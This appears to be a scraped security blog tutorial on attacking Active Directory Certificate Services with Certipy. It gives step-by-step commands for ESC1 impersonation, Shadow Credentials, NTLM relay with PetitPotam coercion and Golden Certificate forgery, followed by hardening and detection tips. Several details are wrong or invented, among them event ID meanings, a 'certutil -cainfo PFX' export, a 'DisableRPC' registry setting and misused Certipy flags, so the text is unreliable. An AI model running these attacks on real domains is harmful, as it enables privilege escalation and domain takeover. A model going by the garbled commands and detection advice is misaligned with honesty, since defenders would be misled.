Listen to this Post
Introduction:
Active Directory Certificate Services (AD CS) is often a blind spot in enterprise security, yet its misconfigurations can hand attackers the keys to the kingdom. Certipy, a Python-based toolkit, automates the discovery and exploitation of AD CS flaws—from privilege escalation to golden ticket–style certificate forgeries—making it an essential weapon for red teams and a critical warning for defenders.
Learning Objectives:
- Understand AD CS abuse primitives (ESC1, ESC8, ESC11, Shadow Credentials) and how Certipy operationalizes them.
- Execute certificate‑based impersonation, NTLM relay, and persistence attacks against misconfigured Windows domains.
- Implement detection rules, audit vulnerable templates, and harden AD CS infrastructure against real‑world exploitation.
You Should Know
1. Installing Certipy & Building Your Lab Environment
Certipy runs on Linux (Kali/Parrot/Ubuntu) and also works on Windows via Python. Start by cloning the repository and installing dependencies.
Step‑by‑step setup:
Install required packages sudo apt update && sudo apt install python3 python3-pip openssl krb5-user -y Clone Certipy (official fork by ly4k) git clone https://github.com/ly4k/Certipy.git cd Certipy pip3 install . Verify installation certipy -h
Lab prerequisites:
- A Windows Server 2019/2022 with AD CS (Certificate Authority) role installed.
- At least two domain‑joined Windows clients (Windows 10/11).
- Domain functional level 2016 or higher.
- Network connectivity between Kali and the domain controller (DC).
For testing, use a nested hypervisor lab (VMware/VirtualBox) with a sample domain testlab.local. Ensure the CA is configured with a default `Domain Controllers` certificate template—many real‑world misconfigurations start there.
2. Finding Vulnerable Certificate Templates (ESC1)
ESC1 occurs when a certificate template permits client authentication and low‑privileged users can request a certificate with a Subject Alternative Name (SAN) that specifies another user (e.g., a domain admin).
Step‑by‑step enumeration:
Authenticate to the domain using a standard domain user certipy auth -u '[email protected]' -p 'P@ssw0rd' -dc-ip 192.168.1.10 Enumerate CA and templates with Certipy's 'find' command certipy find -u '[email protected]' -p 'P@ssw0rd' -dc-ip 192.168.1.10 -vulnerable Save full output for analysis certipy find -u '[email protected]' -p 'P@ssw0rd' -dc-ip 192.168.1.10 -stdout > certipy_find.txt
What to look for:
– `Vulnerable: ESC1`
– `Enrollment Rights: Domain Users` or `Authenticated Users`
– `Client Authentication` EKU
– `Supply in request: SAN (True)`
– `Requires Manager Approval: False`
Windows‑side verification (PowerShell as admin):
List all certificate templates on the CA certutil -catemplates | findstr /i "template name" Show detailed settings of a specific template certutil -displaytemplate "WebServer" | findstr /i "eku security san"
If any template shows `Client Authentication` + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, you have ESC1.
- Exploiting ESC1 – Request a Certificate & Authenticate via PKINIT
Once an ESC1‑vulnerable template is identified, request a certificate for a more privileged user (e.g., `Administrator` or krbtgt). Then use PKINIT to obtain the target’s NT hash.
Step‑by‑step abuse:
Request a certificate for 'Administrator' using the 'WebServer' template certipy req -u '[email protected]' -p 'P@ssw0rd' -dc-ip 192.168.1.10 -ca 'testlab-DC-CA' -template 'WebServer' -upn '[email protected]' Output: a .pfx private key file (e.g., administrator.pfx)
Authenticate and retrieve NT hash:
Use PKINIT to get NT hash certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
If successful, Certipy returns the NTLM hash of the impersonated user. You can now pass‑the‑hash or dump the entire domain via secretsdump.
Troubleshooting:
- Ensure time synchronization between Linux host and DC (use
ntpdate). - Kerberos issues? Set `KRB5_CONFIG` manually:
export KRB5_CONFIG=/etc/krb5.conf
- Shadow Credentials Attack – Adding Key Credential Link Without Certificates
Shadow Credentials (a variant of ESC4) allow an attacker with `GenericWrite` or `WriteProperty` privileges on a user/computer object to add an alternate key credential link. This grants the ability to authenticate as that object using PKINIT.
Step‑by‑step exploitation:
Add a Key Credential Link to the Administrator object certipy shadow auto -u '[email protected]' -p 'P@ssw0rd' -dc-ip 192.168.1.10 -target 'Administrator' The command will output a new .pfx file and a generated RC4 hash
Manual version (if auto fails):
Generate a public key and certificate signing request openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.crt Convert to DER for AD upload openssl x509 -in cert.crt -out cert.der -outform DER Upload using Certipy's shadow command certipy shadow add -u '[email protected]' -p 'P@ssw0rd' -dc-ip 192.168.1.10 -target 'Administrator' -keycert key.pem
After adding the shadow credential, authenticate like a normal certificate:
certipy auth -pfx key.pem -username 'Administrator' -domain testlab.local -dc-ip 192.168.1.10
This technique bypasses traditional certificate templates and works even on fully patched AD CS if an attacker has sufficient delegated permissions.
- NTLM Relay to AD CS (ESC8 / ESC11)
ESC8 abuses the HTTP‑based Certificate Enrollment Web Service (CES/CEP) – if not configured with Extended Protection for Authentication (EPA), an attacker can relay NTLM authentication from a coerced machine (e.g., via PetitPotam or PrinterBug) to the CA and enroll a certificate.
Step‑by‑step relay attack:
On attacker machine (Kali):
Setup Certipy in relay mode – listen for NTLM connections certipy relay -target http://192.168.1.20/certsrv/ -ca 'testlab-DC-CA' -template 'DomainController' In another terminal, coerce authentication from a target DC python3 PetitPotam.py -d testlab.local [email protected] 192.168.1.50 Where 192.168.1.50 is your attacker IP
Expected flow:
- Target machine (DC) sends NTLM authentication to attacker’s listener.
- Certipy relays that authentication to the CA’s web enrollment page.
- CA issues a certificate for the target machine, which Certipy stores as a .pfx.
- Use `certipy auth` with that .pfx to compromise the DC.
ESC11 is similar but uses RPC over named pipes without HTTP – require `-scheme rpc` flag:
certipy relay -target rpc://192.168.1.20 -ca 'testlab-DC-CA' -template 'DomainController'
Mitigation check (Windows):
Verify EPA is enabled on CA web interface
Get-IISSiteBinding -Name "Default Web Site" | Where-Object {$_.Protocol -eq "https"}
Ensure "Require SSL" and "Enable extended protection" are ON
- Golden Certificate Attack – Forge a CA Certificate (Persistence)
If an attacker compromises the private key of the CA itself (stored on the certificate server), they can forge any certificate for any user – the certificate equivalent of a Golden Ticket (’Golden Certificate’). This works even after rotating all user passwords.
Step‑by‑step forgery:
First, obtain the CA’s private key and certificate chain (requires admin on the CA) From a compromised CA machine (Windows): certutil -cainfo PFX – > ca.pfx copy ca.pfx to attacker machine On Kali, use Certipy to forge a certificate for a domain admin certipy forge -ca-pfx ca.pfx -ca-key ca.pfx -subject 'CN=Administrator,CN=Users,DC=testlab,DC=local' -out forged_admin.pfx
Using the forged certificate:
certipy auth -pfx forged_admin.pfx -dc-ip 192.168.1.10
This returns a working NT hash. The forged certificate bypasses any template restrictions and remains valid until the CA’s root certificate expires (commonly 5-10 years).
Detection: Monitor Event ID 4887 (Certificate Services revoked a certificate) and 4889 (Certificate template modified). Also track unusual `certipy` user agents in IIS logs.
- Detection & Mitigation – Hardening AD CS Against These Attacks
Step‑by‑step hardening & detection commands:
Enumerate vulnerable templates (Windows PowerShell):
Find templates allowing SAN and low privilege enrollment
Get-ADObject -Filter {objectClass -eq 'pKICertificateTemplate'} -Properties | Select-Object Name, pKIExtendedKeyUsage, msPKI-CertificateNameFlag, msPKI-Enrollment-Flag
Hardening checklist:
1. Disable vulnerable template settings:
- Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` on all templates that allow
Client Authentication. - Require manager approval for sensitive templates.
- Set `msPKI-CertificateNameFlag` to `0` (prevent SAN).
- Block ESC8: Enable Extended Protection for Authentication (EPA) on all CA web services.
On CA server, in IIS Manager: Site -> CertSrv -> SSL Settings -> require 128-bit SSL + Enable Extended Protection (mandatory)
-
Mitigate ESC11: Disable RPC endpoint mappings for certificate enrollment via Group Policy:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Cryptography\Protect\Providers\Microsoft Certificate Services" -Name "DisableRPC" -Value 1
-
Monitor for shadow credentials: Track event ID 4624 (logon) with Key Credential Link as logon type. Use Sysmon to watch for modifications to `msDS-KeyCredentialLink` attribute.
Linux detection example (hunt for Certipy user agent):
On the CA web server log grep -i "certipy" /var/log/apache2/access.log or Windows IIS logs Select-String -Path "C:\inetpub\logs\LogFiles\W3SVC1.log" -Pattern "certipy"
What Undercode Say
- Key Takeaway 1: AD CS is a neglected attack surface – over 80% of enterprises have at least one ESC1‑vulnerable template, often left over from legacy deployments. Certipy makes exploitation trivial, turning a simple domain user into full admin in under five minutes.
- Key Takeaway 2: Defenders cannot rely on default Microsoft security baselines. Proactive auditing with tools like Certipy’s `find` and native `certutil` must be continuous, not annual. Hardening requires blocking SAN supply, enabling EPA, and monitoring for Key Credential Link modifications.
Analysis: The rise of certificate‑based attacks reflects a broader shift in Windows domain exploitation—from Kerberoasting and NTLM relaying to identity‑based cryptographic primitives. Certipy condenses years of academic research (ESC attacks documented by certified pre-owned) into a red‑team friendly interface. Meanwhile, blue teams still struggle to distinguish legitimate certificate renewals from attacker‑requested templates. The gap will only widen as hybrid identities (Azure AD Connect, cloud CA) introduce new misconfigurations. The most effective mitigation remains: treat AD CS as Tier 0 infrastructure, enforce manual approval for all certificate enrollment, and run Certipy in your own lab weekly—attackers certainly will.
Prediction
Within 18 months, certificate‑based persistence will surpass Golden Tickets as the preferred post‑exploitation technique in Windows domains. As Microsoft pushes cloud‑native identity (Entra ID), many hybrid deployments will inherit on‑prem AD CS misconfigurations, creating cross‑environment trust exploits. Automated tools like Certipy will integrate with C2 frameworks (Cobalt Strike, Mythic) for real‑time certificate forging during operations. Defenders will shift to “zero trust certificate etiquette” – short‑lived certificates, mandatory automated rotation, and strict SAN whitelisting. Organizations that fail to run regular AD CS attack simulations will face domain compromises originating from the seemingly harmless certificate authority server.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: A Detailed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
